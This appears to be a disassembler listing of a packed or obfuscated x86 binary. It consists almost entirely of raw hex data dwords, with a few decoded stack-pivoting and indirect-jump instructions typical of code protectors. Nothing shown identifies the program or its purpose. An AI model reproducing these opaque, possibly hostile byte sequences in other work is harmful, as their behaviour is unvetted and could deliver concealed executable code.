0E908CD0Ah, 0D2E62954h, 80078048h, 5F684221h dd 19AF8583h, 7179FB28h, 38FB54E9h, 4493035Fh, 9A7DF7B6h dd 8451CA80h, 7766DC21h, 65D654E9h, 0C077BB10h, 0DE278649h dd 4F04E65Ch, 2BBA17D8h, 0A265E750h, 0E905A85Dh, 0FCA39454h dd 542201Dh, 68A254E9h, 0E275DACFh, 6F281DAAh, 6BE13998h dd 0AE6BD8F0h, 5275F664h, 28A002C8h, 0BF9B7AAFh, 596580DFh dd 2AACF68Bh, 0F9F4E4B1h, 41231C0Ch, 0A354E8F1h, 67583F70h dd 5ACCF1C6h, 0E06775A6h, 4F05017Eh, 1FFE7C29h, 0E923A526h dd 4ABB1A54h, 54E91EE8h, 0B93EBA44h, 0BEEF8B44h, 0E91EE341h dd 5D8E4154h, 1F56D80Fh, 39BE54E9h, 5AAB2ABEh, 54E91ED8h dd 0D287E354h, 75E70557h, 1B07E3FAh, 0FE22F8D3h, 0F9024C37h dd 30BD33h, 0CCD80000h, 11D6CFE6h, 0D0BDB122h, 6F2EAC19h dd 0E9FBB916h, 62D33D54h, 2D1ED5E7h, 0B8BA8B6Ah, 5454E9B6h dd 9C5765E6h, 746431E2h, 218Dh, 6FD8D800h, 0E8D52AEDh dd 9F54E900h, 0C5BE9FB3h, 59322895h, 543B9A5Dh, 0E995096Bh dd 0EFA86B54h, 0C07712EDh, 5C7C6049h, 49032223h, 2E9E8h dd 35AC2F00h, 47C08892h, 981FDA40h, 30AB2DF5h, 49C075ADh dd 0B3E6D146h, 1A008702h, 60BADD5Ah, 0B46E71EAh, 7A018407h dd 1F58DA2Bh, 0D6D454F0h, 49C077F9h, 0EB62E973h, 0FA784524h dd 7A4F04E5h, 0FEC9DCB9h, 0E3DC8301h, 54E8FD1Eh, 0C79546h dd 54E8FC1Eh, 0A8C02AA9h, 666E3E66h, 7AA620EDh, 0F8FBD0B3h dd 323933h, 0D85C0000h, 0D52AED6Fh, 54E90860h, 9E411BDCh dd 54E90798h, 0E22B5733h, 33F8EBA1h, 0DCCAh, 2B14FB00h dd 54E8FC49h, 58A568ABh, 54E8FBDAh, 9F3C995Ah, 7349C077h dd 17C464E9h, 0F309A394h, 55F7C544h, 9F6067E6h, 4F04EA78h dd 11B437A4h, 0F1CB4209h, 0C6890BC4h, 0E904CCF9h, 884EA854h dd 3C2A09Dh, 0F12254E9h, 65444BBCh, 0AA3EB93Dh, 6A5FD890h dd 9F1DCAA1h, 0ADB3C738h, 604A5ACFh, 9345931Fh, 0F275E510h dd 69AAD481h, 7CFEC7A6h, 0F84F07BAh, 9F8B5A37h, 96FCA3DEh dd 0E9F3394Dh, 0C908425Ch, 30327BCFh, 59C1E4B1h, 7A5C1D94h dd 3D2220EAh, 1C8D69Fh, 4D0E0000h, 0E357B3D2h, 30B96164h dd 4A0C16B9h, 0E154CED1h, 7B66766h, 21A42392h, 0DBFA75F9h dd 8F0E894Fh, 22A52493h, 79FBC49Bh, 0FB54F020h, 0D6CCD68Dh dd 0E32FE867h, 0F1D0F772h, 0EDA621A9h, 2CB32AA1h, 0C46FD8BBh dd 0DC69215h, 8C9675D8h, 0BF8451CAh, 54E907C6h, 0EEF7C536h dd 0CA8700B4h, 0E90883E5h, 347CCE54h, 0F8EB86FDh, 0D0F733h dd 77260000h, 0E97349C0h, 0DD2BF464h, 26B22DA1h, 0A2A0E12Dh dd 0F7DEEADFh, 1EAA2DABh, 0FBD14A0Ch, 75BA1748h, 4F04EBD2h dd 0F8E09CEh, 40C772A8h, 5835B226h, 5F3EB93Eh, 0BB149343h dd 40EBA411h, 79050A8Ch, 5533165Bh, 0A69B4860h, 0A43CBBE7h dd 72AD8F17h, 3F98CDE4h, 3E661768h, 15C654E9h, 0CC4E0772h dd 0B0253409h, 0A7415ACFh, 2F24B433h, 0D2E661D3h, 31692C61h dd 988205BCh, 0BB1D5AD5h, 2220DBh, 0D0E948h, 55060000h dd 0EB6FBBDAh, 38B1696Ch, 52041E81h, 0E96CB6D9h, 0FFBE6F6Eh dd 29AC2BAAh, 0C3C27DF1h, 77169147h, 2AAD2CABh, 71F3CC93h dd 0F354F021h, 0D6CCDEB5h, 0E02AE760h, 4C13F26Dh, 4E5F173h dd 0D780734Fh, 6AED6AB0h, 0C077F26Bh, 62E97349h, 2491E4EBh dd 0DB9EE7A6h, 5F54F014h, 308803B5h, 60FACE03h, 0B56D70EBh dd 32358706h, 96EA5738h, 346E92ECh, 530A6855h, 0A96A9316h dd 2035A2ECh, 16535DDFh, 2B1CDF93h, 7EF97EA4h, 0E51ED06Ah dd 65AD77D7h, 3154D784h, 9824852h, 0F76680B3h, 26F36078h dd 19FC7FFCh, 73EC60BAh, 0B7B5EA59h, 35931652h, 0DDEF6AEBh dd 89D93566h, 9CDBDFDBh, 0B41DBF18h, 5973EC6Eh, 3BE21EAh dd 0E9000000h, 0C4775106h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh dd 520319B3h, 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh dd 68B30D5Fh, 3836h, 68242C89h, 1BE3h, 68241C89h, 26C8h dd 57242C89h, 942894BFh, 0B9E78141h, 81244C68h, 0B56E4CE7h dd 0BFE7816Eh, 8103A128h, 0EB0792F7h, 8BFB8905h, 0C481243Ch dd 4, 242C8B54h, 4C481h, 0D4680000h, 89000062h, 0D989240Ch dd 59084D89h, 56242C8Bh, 0C681E689h, 4, 8704C683h, 8B5C2434h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54658E ; --------------------------------------------------------------------------- db 0DDh dd 0BE817A1Eh, 0B85974B0h, 5EB3C66h, 0E0FFC503h, 655F8B70h dd 190F3CB5h, 3E61D0E8h, 68EAA958h, 64687D3Ch, 42F8E68Bh dd 5701B14Bh, 54AE9AA0h, 2A62BCA5h, 46476A62h, 19D4302Fh dd 57172442h, 80B51EEh, 5B6B6320h, 5D7B45DCh, 1A1D3C71h dd 721EFD11h, 1F3D3BF7h, 54FDA21Ch, 23226964h, 79C3698Ch dd 0EADF04EBh, 88E94AE9h, 2D000005h, 76AC33AAh, 0D84245C2h dd 2BF79611h, 73AF2EA9h, 0D74047C2h, 853CB1E8h, 0DB541802h dd 6FE86EB4h, 8205B268h, 0D8256403h, 54F0235Ah, 1901ACDAh dd 548FDD54h, 0C077D2FBh, 136FE860h, 0DAEE23A6h, 0B3128D40h dd 0E59193ECh, 39134F04h, 0F39B5C25h, 523F70B6h, 0E960D733h dd 0FD7EFC26h, 319B74EFh, 9F2DAC2Bh, 7E4ACD8Dh, 0DBF16AECh dd 44148F41h, 0DD151DE5h, 52B3FFC9h, 0A76362E5h, 70D7B631h dd 5C62D0Fh, 24C8F4Fh, 0F8A21A20h, 0E78653ECh, 0CBDE9A80h dd 51978FAh, 0CE03F44Fh, 0D8531905h, 0EFFA7A80h, 5189496h dd 0EADF104Fh, 118A4CDEh, 0B42FA1BBh, 0F1318924h, 0DDC5AF39h dd 9A3DBE3Ch, 0F079CB80h, 0BFF06379h, 0A82179D8h, 7BA89B31h dd 4F0518F9h, 0FDDFB87Bh, 518E54Ah, 75BD0F4Fh, 0F577482Fh dd 774F0518h, 9CE7CB84h, 0CD2E14FCh, 5Fh, 49C07708h, 0E66CCC73h dd 20A84F04h, 0C05C9ABEh, 479B1DEh, 0A42396B4h, 4D1F985Ah dd 22EA16FCh, 65ACD4F6h, 2E15B61Eh, 14Fh, 0C3778E00h, 0DD228144h dd 4F04E65Fh, 1BB11ADDh, 0FACE4901h, 9E5CEE60h, 0A3944F1Dh dd 61A1FB09h, 484FC880h, 23E265D2h, 0E601635Ch, 0B0634F04h dd 7717C0E7h, 0EB714BC6h, 0C5D0E86Fh, 0D255041Eh, 0B4555D79h dd 1B078601h, 7D8FDD5Ch, 809A7DFCh, 7DF479CBh, 0D683B008h dd 54F67882h, 9E5567E0h, 4D0D1FADh, 432FFECAh, 66C4975Fh dd 0CF80F33Ah, 95E92E14h, 2C000000h, 714BC677h, 0D1EB6EEBh dd 0D1988243h, 0B5D10256h, 8FCB8407h, 74F36283h, 6FCD3291h dd 164F04E6h, 4E64B29h, 7C66A94Fh, 53CFDEBBh, 0C1A067E2h dd 4E67EFCh, 503DFE4Fh, 7B715978h, 0C519ED52h, 3FB1DDB6h dd 81593484h, 0E9EB4881h, 5F1C2E14h, 0BB000000h, 0FC62D6CCh dd 552C5DBAh, 0D0BDEE97h, 308807B6h, 642BAC2Ah, 5401BE3Eh dd 0F921A004h, 0E467D474h, 550319B3h, 184D86D2h, 0EEF13BFh dd 250DD04Fh, 1EE41062h, 405DB9D1h, 0E140866Ah, 3EAF3E9Bh dd 0EB64D6CCh, 6DA962D1h, 0E95E6AEDh, 4F04E688h, 0D11818A2h dd 2E14C972h, 19Bh, 6DCC3200h, 4E61210h, 0F674494Fh, 764F04E5h dd 7FFF1985h, 0D8C28FC0h, 38C29611h, 0D755AAB3h, 554F04E5h dd 431BB1E2h, 9158B9F9h, 4B047716h, 0D03906C9h, 2454E911h dd 0A2F8D9F3h, 0BFDBB433h, 47F71338h, 10999BC8h, 0FFC054E9h dd 54E9117Dh, 51823CFFh, 0E5DAB91Ch, 54E91187h, 465932E5h dd 310E1FDCh, 54E91133h, 0BF0D7EB1h, 0CE490C16h, 113C3C05h dd 3C9E54E9h, 27A615F4h, 7AFD7AA0h, 9C1FDC6Eh, 3DBA3ECCh dd 5DDC9DAFh, 0DCAD40Fh, 5A243E8Ah, 18848756h, 0B59C16C6h dd 0D1D1A940h, 0A229BB30h, 63D7F62Bh, 33F94520h, 14249h dd 6FD88C00h, 0CCD52AEDh, 0A854E903h, 0FD7AA067h, 18F56E7Ah dd 0AA2DAAB0h, 9838BFEBh, 981069CEh, 98E2D707h, 0D40F5DD6h dd 39BE647Bh, 5B102ABEh, 56FD8820h, 0A7988D4Ch, 54E935C5h dd 2983F427h, 0F36CE03Ah, 25A16AD9h, 0F97BA7FDh, 1CF96A7Eh dd 0C3C245F2h, 0F919146Fh, 634533h, 0CC900000h, 0E612106Dh dd 0A1924F04h, 0CF4505F4h, 0E6853708h, 34E74F04h, 0E5C1A3A4h dd 0BA004F04h, 0C8423876h, 0DB59A605h, 594F04E5h, 51823DBFh dd 704BEE05h, 0AE6BADCCh, 0ED4E6DFh, 3F6B4F05h, 91AB01B8h dd 216D5ED9h, 0E30728E1h, 0EB9740D1h, 9026A528h, 87000000h dd 0F1CEDB9Bh, 4F056C73h, 0CD3EF1h, 0C46FD84Bh, 0DEFB8E10h dd 7E5A014Dh, 9675D80Dh, 7C4CCF8Ch, 0E8250AC7h, 0DF54E9B2h dd 389017C3h, 0DA244E0Bh, 15A7981Fh, 6DE040F7h, 0BF1E81F2h dd 0D3DE7153h, 0D0BD393Eh, 2DAF01B6h, 500426B2h, 1BB1E2D7h dd 0E94E4124h, 8B6A7B54h, 0E94CB8BAh, 16C33454h, 36A5444Ch dd 0E8A510B7h, 255AAB6Ah, 15AD48Ah, 0EB60FACEh, 3A805870h dd 2D46ACF6h, 0E2BB39Ch, 0B36CCF88h, 60116E31h, 0C454FF70h dd 0D8DB8C13h, 4B2AED6Fh, 4A1E995Fh, 0C2F73C99h, 0A254F023h dd 0AC15B71h, 67D6CC93h, 0B663D0E8h, 0CD4C0B17h, 0CCDA48FFh dd 1CDAA3F2h, 0B93BC19Bh, 77D3AA3Eh, 0D5AFC30Bh, 0C8F4CADh dd 9795EA49h, 1599EE79h, 77566922h, 632CAB2Bh, 0A339B027h dd 0F95CD799h, 7A47251Ah, 72A599EEh, 7A6B3399h, 7EE0C810h dd 7AD7FC9Ch, 3AB15050h, 51061C83h, 0E9C37EFFh, 31AA207Ah dd 490119FCh, 8902B4CEh, 5570033h, 0DBCh, 53051D00h, 65E7FD8h dd 7FFA7BA7h, 0C477C592h, 6EED7F4Dh, 894FDDEFh, 2CA0BA0Eh dd 520319B3h, 0F66785D7h, 19DB617Bh, 0B930CA9Eh, 0D890AA3Eh dd 68B30D5Fh, 2249h, 68241489h, 683Bh, 57240489h, 0C781E789h dd 4, 8704EF83h, 895C243Ch, 6852240Ch, 66354273h, 39CA815Ah dd 81678761h, 0AD2719CAh, 83CA8142h, 8125FC67h, 0EBD55FC2h dd 8BD0899Dh, 0C4832414h, 0C8B5404h, 4C48324h, 0E3BF5750h dd 123800Bh, 5F04247Ch, 8108418Fh, 0BE30869h, 0C8B2380h dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 582434FFh dd 0E904C483h, 0FFF93AEEh, 6E797F46h, 8579F41Fh, 0B8775764h dd 5EB424Eh, 0E0FFC503h, 6B8DFC72h, 0CFF8CC3h, 458909ABh dd 0A33075Dh, 4CE85F6Fh, 9CAEACCh, 2CB2538h, 7B36A445h dd 5E8CBC54h, 6EC69C29h, 0B191206h, 64D3FC77h, 0FF1142Ah dd 60DBC8BFh, 2EE30412h, 4F43F10h, 3A0B04EBh, 0AEE929E0h dd 41000005h, 0AA70178Eh, 0FC26A92Eh, 4FDBFA7Dh, 9773128Dh dd 0F324AB26h, 0E960D5C4h, 3FB83CE6h, 53D48298h, 0E661D64Ch dd 340958E7h, 54F02936h, 56DF0B6h, 299DEB4Bh, 0FC7C86A2h dd 77399E7Bh, 0E97349C0h, 4B2AED64h, 4E5F87Ah, 0D683744Fh dd 6DEC6BB7h, 78FACBAAh, 0F44F04E6h, 43025603h, 0BE1B9647h dd 5464E754h, 28A3150Dh, 9747A390h, 0E753BF18h, 1BBA4860h dd 0FCE490Fh, 4E63436h, 927FB04Fh, 0A229C8C8h, 0F87EA42Bh dd 14C2587Fh, 2FBD3ABAh, 8EDA5D1Dh, 9D2F6055h, 7850CF8Fh dd 8CD6DAA0h, 0E652D02Dh, 48D24F04h, 0CDD90A85h, 0DBC7900Bh dd 441F831Dh, 5E4001A5h, 1F0B6A6Dh, 0CB8ADE59h, 58278FAh dd 0CE03F44Fh, 0DB521905h, 0CAA89574h, 2A4F0581h, 0BBAC2CE9h dd 4F0581B6h, 49639C5Eh, 378504B3h, 64858D57h, 0C90374F7h dd 0FD468FF3h, 6E2E1564h, 71h, 106DCCA9h, 4F04E612h, 70F23392h dd 0CC4F04E6h, 117DD60Bh, 5689235Ah, 4F04E5D2h, 975E4218h dd 2E14C9ACh, 0B695635h, 694F04DAh, 1F2EDA6h, 25000000h dd 8E5DC377h, 0FF77D0B7h, 132983F4h, 728820A7h, 0DF7547C0h dd 0DBC79D85h, 0D43E9B1Eh, 2E0C7164h, 0DE4F0506h, 0F489CE57h dd 0E4575310h, 554D2CB3h, 0C85266E1h, 0FA578803h, 3DA0DB90h dd 4BC677A8h, 0C16FEB71h, 0BA1920Dh, 5E42C7Eh, 0F87A4B50h dd 744F04E5h, 0D34F4E83h, 35D7E564h, 95B70584h, 0F517A524h dd 0EF68EC44h, 0A73566DDh, 359D085h, 0E22EF4D0h, 24E5BE33h dd 0D60B19CCh, 32FB2783h, 2E159741h, 67AAh dd 0D6CCED00h, 0E42EEB64h, 0E31EDF71h, 66291AC9h, 4832F60Ch dd 6C29098Eh, 9C1BDE6Ch, 246C36CCh, 0F69910C5h, 9A2EA92Ch dd 96B543Bh, 6B4F04F7h, 31A3EFA8h, 0F35722B6h, 0DFED468Fh dd 5A1E2E14h, 0B9000000h, 7762D6CCh, 4E62C0Eh, 1247884Fh dd 61985DB9h, 58100A4Bh, 0FD568DDFh, 8A0DB91h, 4BAAD6B4h dd 0DF880F8Ah, 996DE6CCh, 0C42E67F3h, 0CC4B0F0Bh, 0ECDD5FCh dd 0CC063D8Fh, 0D453E1F1h, 7D420F17h, 4F0529FCh, 81336F36h dd 0D481B206h, 0F44F868Ah, 652E150Ch, 1, 47C277B0h, 7B60D775h dd 4E6280Ah, 0FC7A844Fh, 81F2617Bh, 778F365h, 30FD5B5h dd 0EDF077E2h, 0E8AF2D9Ah, 0E9112A97h, 0EADB8A54h, 54E91188h dd 0EAFE33E4h, 7D609B50h, 0D0B736A5h, 694BF7FAh, 0F6A39F24h dd 231CE3E2h, 54E95C41h, 5EA770A3h, 54E95BDAh, 0A903BC3Eh dd 16A22593h, 0B67EA2FCh, 0A140402Ah, 0F62CB32Ah, 0D3F2C641h dd 5C31330Ch, 69B354E9h, 0E55E6AE5h, 35566B0h, 0CEDA75EBh dd 0DB521905h, 6A96F481h, 0F764CC8Bh, 3D9C0374h, 0D0EF71E5h dd 792772B7h, 0B0824F80h, 33F931D3h, 18004h, 0FD7DA500h dd 18F56E7Ah, 0C46FD8B3h, 0FCA39417h, 0D950051Dh, 11135083h dd 934F04E6h, 7C4CC789h, 663992C7h, 0E9039019h, 9933E454h dd 0F255D483h, 15A720A8h, 0C85275DEh, 91308803h, 10125332h dd 6C54E903h, 2F87AABh, 837454E9h, 8C0FCCD6h, 0E118D1C9h dd 0F855D485h, 0C8B4AD0h, 0B32CAEBCh, 0F23E8C19h, 171B6F3Ah dd 0C7C641F6h, 0F8E61073h, 677933h, 0D89C0000h, 27057A62h dd 854F04E6h, 64BE6152h, 0EC6775F6h, 0A5FD5C23h, 3320B833h dd 0E66B1966h, 0B3124F04h, 3E67E257h, 4F04E63Ch, 109A77B8h dd 21278DFh, 0B63BB8E8h, 0B503BE98h, 47DA0845h, 1B19CE8Ah dd 0BA4F0568h, 2C9ED0D0h, 0EC9EE7A6h, 484F0567h, 1C61C087h dd 4F05681Eh, 8C415D9Eh, 0A625B815h, 0A5h, 0F46FD8F1h dd 7DAADF34h, 2A1BFA6Fh, 4F051748h, 5F3E73A4h, 42169143h dd 47C67591h, 0B215FE75h, 0E927904Dh, 912BEC54h, 4A4DCC8Bh dd 0C8E01BD0h, 6C41A189h, 0E8AC6BA7h, 9E5FC62Fh, 0BF1D54E9h dd 0A2259273h, 1D9F4823h, 7EE350BAh, 0C13BA59h, 785262F9h dd 523FBFA0h, 80D9B2F3h, 0F2255AD4h, 0D9744E6h, 0A3D1BB6Fh dd 0F1CB3C82h, 0E4D9B829h, 4F13FD86h, 4BB62CE6h, 9BC75C08h dd 0A1E1EDA6h, 0D1B436EFh, 2AA000C9h, 0CC937CB1h, 0FFC69AF3h dd 55190154h, 95C641F3h, 0E154BE38h, 0C85266h, 7E615287h dd 66D6CCE9h, 904D2CE9h, 0E5BDBF80h, 6E3F4F04h, 4E61311h dd 6D5E914Fh, 33685538h, 9854F029h, 392C87B2h, 814A640Dh dd 0DD5FA0E5h, 5F54F060h, 0B11AB9Ch, 50CACD4Ch, 0B82499Bh dd 2EBA9BB1h, 23B2A400h, 0C0DABDEEh, 0C777930Ch, 1ACD8F48h dd 80FC062Eh, 20F16FEAh, 8DC8A66Ah, 60FACE03h, 876672EDh dd 0EB3FF73Bh, 0FB709191h, 16C55D40h, 733A3805h, 79BA78E5h dd 2496B404h, 0E34911ABh, 1E995EBFh, 9C34A37Fh, 52665BDCh dd 2AA51773h, 0D7E61h, 0CCA90000h, 0E612106Dh, 0A1924F04h dd 7772DBF4h, 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch dd 6785D752h, 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h dd 399A68h, 24348900h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 895C2434h, 2668243Ch, 8900002Eh, 36682404h, 8B05EB43h dd 0C483243Ch, 48B5404h, 4C48324h, 4F7768h, 243C8900h dd 0A8243481h, 8F491713h, 70810840h, 1713A808h, 2434FF49h dd 4C48158h, 0FF000000h, 835F2434h, 0EBE904C4h, 0AAFFF934h dd 39266FF7h, 56168C9Eh, 4873B857h, 0C50305EBh, 0E78EE0FFh dd 2319C0h, 0E72561FBh, 0D9515C2Dh, 0E8644DCBh, 866357B1h dd 52D03FF3h, 963F01B1h, 7CEA0BAEh, 4EB6A05h, 36C184FEh dd 50AE9h, 71E86B00h, 8304B46Eh, 0D453061Ch, 6CE769B1h dd 853CB169h, 0FFAA1502h, 46DCC37Eh, 0AC761996h, 0F02AAD2Eh dd 26DDC07Bh, 2F1C1E67h, 0E29854F0h, 49C077B5h, 0ED64E973h dd 0BB30EAh, 1497455Dh, 4C0B11BBh, 94200ACDh, 6D3E2AA4h dd 62F8D0BDh, 74AE71F6h, 0D77547C0h, 0DCB9EA65h, 141C66FCh dd 0C0C746F5h, 0B41B9C5Ah, 8F8AE8D5h, 29EA4F05h, 359E19DDh dd 49C28892h, 87785273h, 8BF9DD94h, 0FD719D76h, 0CC967642h dd 34B725C4h, 4BC28991h, 6609AE84h, 0C14A625Fh, 9E834414h dd 484F05B9h, 7CC70E72h, 0ED2E159Dh, 60h, 49C07728h, 0E66CCC73h dd 24864F04h, 0C94E35FCh, 1BF2E14h, 0DE000000h, 80356DCCh dd 4380B309h, 4F04E5E1h, 71348943h, 1A18DD8Ah, 0B6226C29h dd 0C9819B31h, 6EE07A4Eh, 734DE7F5h, 0ED6AEE0Fh, 0DB248BEAh dd 4F05A659h, 2CBC3BBBh, 8F488B37h, 0DBC7D483h, 0C3A19E19h dd 214F05A5h, 4D1ABDEEh, 714BC677h, 0D0E86FEBh, 5CBDE5C5h dd 187F1E99h, 0E7646132h, 937C2DDFh, 7349C077h, 2597F352h dd 0D0F775AAh, 82754F05h, 8D0CCDC9h, 7DAFE0CAh, 0F15B015h dd 0AC742F3h, 0EB17F34Eh, 15515122h, 86BA2Eh, 77DD0000h dd 77F062C6h, 2594B602h, 40F416A2h, 0DCEC6BEEh, 84A63267h dd 41FA70D2h, 2E8BC0Ch, 0FAC4D61Eh, 4B6ECB6h, 11C4CE8Bh dd 8A90F796h, 0C47F4DCAh, 0D34E0F0Bh, 76F163F9h, 4BCE8B97h dd 4309C271h, 25EC14F6h, 2E14CF4Eh, 9E047B57h, 93F03846h dd 628FC6h, 0CCCE0000h, 0D3DD8DE6h, 329F5844h, 14C365E8h dd 0DB0CC795h, 7AFD7B81h, 0F0309A6Eh, 62255C11h, 5F38B338h dd 0B58A6948h, 4F056CB7h, 4009C235h, 7444C377h, 7A5B056Dh dd 0AC0E13EDh, 799D82E3h, 75574F05h, 5D7FC40Dh, 15E82E15h dd 0D9000000h, 4F1819F1h, 9AEB9ADAh, 4F05A498h, 94EE2314h dd 0ECEDA621h, 7547C277h, 26E960D7h, 0ABA319CCh, 0C790B333h dd 236F3595h, 0D9017C2h, 884FCDBAh, 0E9FB4AB7h, 0A669AA54h dd 0A77CFEC7h, 37F854E9h, 6FEC7E5Ah, 0BA31E9ECh, 4928A903h dd 0E9A6F674h, 49857654h, 0DE6367FDh, 53907D9Dh, 54E929CFh dd 8869A973h, 0A25B51C3h, 0BE2C418Dh, 1BD04A4Dh, 74E53DE0h dd 0A36CE7F5h, 25A41329h, 60A0FA97h, 4C53CA81h, 0F93C85FEh dd 46BF1E33h, 54E94CE4h, 8BC28F40h, 14Dh, 0ED6FD8C2h, 3CCD52Ah dd 277354E9h, 0E83113ABh, 50B479Fh, 0FEF3671Ch, 0C11BA770h dd 99CC9A7Ah, 0EBC132A1h, 0BE39B0EAh, 8B02C9D5h, 0DE591E04h dd 0C5A7987Fh, 2754E923h, 0ABB11BF4h, 64C63F2Ch, 0C054E924h dd 0F38EDA0Fh, 0B2B08D6Ch, 3254E923h, 43211EC1h, 0A154E924h dd 0F939A56Eh, 0B5D85318h, 0F906FE45h, 456F33h, 0D8AE0000h dd 0D825E862h, 4F04E6AAh, 2786498Ah, 86FF7AFBh, 4F04E5A4h dd 5602CF00h, 4E59391h, 4793324Fh, 6C8AEC38h, 0A685527h dd 6A4F0596h, 3F9B74A9h, 47CDBDF3h, 960DBF80h, 0AC6F4F05h dd 9FAA29h, 0D8FD0000h, 4B2AED6Fh, 0DB07995Fh, 0E5EA614Ch dd 0AB983065h, 284481EEh, 6FA054E9h, 9108CF5Dh, 24A7140Eh dd 8CC5394h, 4C854E9h, 0AF2B318Bh, 0A5059028h, 4D2FB57Dh dd 0B437A445h, 8803C9D1h, 7AD9B8CFh, 0E9082705h, 9972D554h dd 31D6B6D4h, 228942B5h, 1A186575h, 9A54E8EBh, 5CA16459h dd 5AD433EDh, 28328649h, 0E745BAA3h, 454F1431h, 47C08892h dd 0E157B312h, 31A98BF4h, 0C80B4F14h, 0CE9E3A97h, 85723C64h dd 0C7F4007h, 6854FF7Bh, 594120A7h dd 81D60090h, 0FCF77F68h, 4902318Bh, 0ED6FD800h, 2F66D52Ah dd 11C254F0h, 0B32AA1BBh, 0C641F62Ch, 0DD5FA007h, 5F54F02Eh dd 0A699339Ch, 881AF93Dh, 0A038B339h, 0C5CDB9Ah, 29C07FFEh dd 85995151h, 1E1C61C0h, 9E85C669h, 0AAD6F05Dh, 8A0D8C4Bh dd 0FDA0DB90h, 26B235A5h, 0E41FD12Dh, 26B21FD4h, 83D95204h dd 0B051513Bh, 0AB22A93Bh, 0EEF12211h, 41048734h, 689F9DE2h dd 0DA1D85C6h, 39A5B71h, 0CD000000h, 0C4775106h, 6EED7F4Dh dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h, 19DB617Bh dd 0B930CA9Eh, 0D890AA3Eh, 68B30D5Fh, 6768h, 57240489h dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 63616824h dd 0C890000h, 1F71B824h, 0E88359ADh, 7A2D4801h, 25657E6Ch dd 34DC34DAh, 0E7B32D48h, 8B542E20h, 0C481240Ch, 4, 8BA52h dd 0CA010000h, 148B0289h, 4C48324h, 52240C8Bh, 0C281E289h dd 4, 4C281h, 14870000h, 48B5C24h, 0E0895024h, 405h, 4C08300h dd 5C240487h, 0F92FA9E9h, 60A34DFFh, 0F62C2BE2h, 0B849245Fh dd 5EB4D96h, 0E0FFC503h, 14A37BB6h, 2FAE7BE0h, 4978578Eh dd 5A0B5073h, 30D556E4h, 7B524227h, 5221A7E9h, 0B631D49h dd 49B6C1B5h, 77B03F07h, 2C6B15Fh, 6B5BB94Fh, 5908EB2Dh dd 77E8D878h, 35D076D7h, 551DA7F9h, 173C0387h, 46B2AFC1h dd 38ECF529h, 3D0B7D69h, 43DDAD79h, 4F5D8D8Dh, 6A05EBh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 525978C3h, 840Fh, 0F95A0000h, 10958D89h, 6A05E4h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 8D8968C3h, 5E423A1h, 6CC4BA66h, 2111B58Bh, 85C705E4h dd 5E42C65h, 617Ch, 6556F281h, 85C76AF3h, 5E430FDh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 12C35141h dd 3C98D89h, 0B5FF05E4h, 5E426FDh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 4AC35747h, 89F7DAABh, 0E41A359Dh dd 4D950905h, 0FF05E414h, 0E42A6195h, 6ADA8B05h, 0C195FF00h dd 8B05E410h, 106FEBC0h, 98C99366h, 0F99127Eh, 486A092Fh dd 78E4B648h, 97A5AF84h, 0FD928577h, 28A0F4Eh, 364C9794h dd 390D4AC1h, 1C479D2Bh, 8102D994h, 897B9476h, 2B551838h dd 395BE0C9h, 9C7101F9h, 8C7FF3C9h, 3E828E01h, 0EABB987Ch dd 54606541h, 0B0842B5Ah, 80A9379Ah, 0A2513BA4h, 0EC1D594Bh dd 40E43EBAh, 5532B6EEh, 0EFD6419Dh, 0FF5323BCh, 4EB59FDh dd 70FBFE86h, 548E9h, 0B128AB00h, 0C344F42Eh, 149346DCh dd 0AC27A971h, 0C57CF129h, 3F6A55C2h, 869C03BEh, 0EC3659D6h dd 30EAED6Eh, 0E69D00BBh, 34DC5EA7h, 225854F0h, 49C07775h dd 0ED64E973h, 19BB30EAh, 7F7FF4E9h, 0F3714E42h, 714F05C3h dd 40184DBEh, 0CD562901h, 0A5390AE8h, 0B31C9759h, 5369E057h dd 328601C9h, 0BB5A4620h, 1ABD3Ch, 0F671F84Ah, 993C71E2h dd 0F379CB81h, 97F36078h, 6474A920h, 0C39916C6h, 0E2006A7Bh dd 0AE050441h, 0C9C9957Eh, 0A629A228h, 0DB43EBC7h, 89F04E99h dd 9215C2CCh, 7F6BE733h, 0EA814DF1h, 0C02AAB21h, 1A1406B2h dd 0CB0B4CE6h, 0F5CA7AB1h, 89EED780h, 0A34F04F2h, 58AB88E2h dd 79EC1711h, 480576F1h, 78CB020Eh, 0E12E157Ch, 8Eh, 60D6CC34h dd 6BE02AE7h, 0C39910D9h, 0F2704D10h, 724F04E5h, 0CB7C4C81h dd 4F04E667h, 30F93983h, 2E14C953h, 0A84h, 0A2CD2500h dd 247BC407h, 775E7FD8h, 6D7444C3h, 0E5B3B18Eh, 0FE314F04h dd 0C6410915h, 0AD87D3F2h, 0AFF33FF1h, 0F97BA770h, 75D86A7Eh dd 0ECBA996h, 0E6294F05h, 8061A12Dh, 92884FC8h, 51CE8E20h dd 0C597C87Bh, 0EC1A39Ch, 0F0234F05h, 57B3D2BFh, 0A88AFBE0h dd 544F050Eh, 2A9C5E2Ah, 0FF198598h, 588DFE79h, 0C677A035h dd 6FEB714Bh, 0F6CD25E8h, 4BA34842h, 48657720h, 6EEF0E72h dd 8136ECF3h, 21A8B206h, 0E34712A6h, 3EBDE5BFh, 5D362DBFh dd 15A41A19h, 6D432Eh, 778A0000h, 73F462C6h, 87F85F3Eh dd 4F04E5A5h, 517BD407h, 0BFAA2A70h, 4E5E446h, 5A8F404Fh dd 1E78D50Eh, 768CDC5Bh, 5005E42Ch, 0CBD7B6D9h, 0C4CE8B0Eh dd 38C29611h, 0D2AF3DB6h, 72C10808h, 9B2E14CFh, 5Dh, 4BC67732h dd 5ED99E84h, 0E5A486FFh, 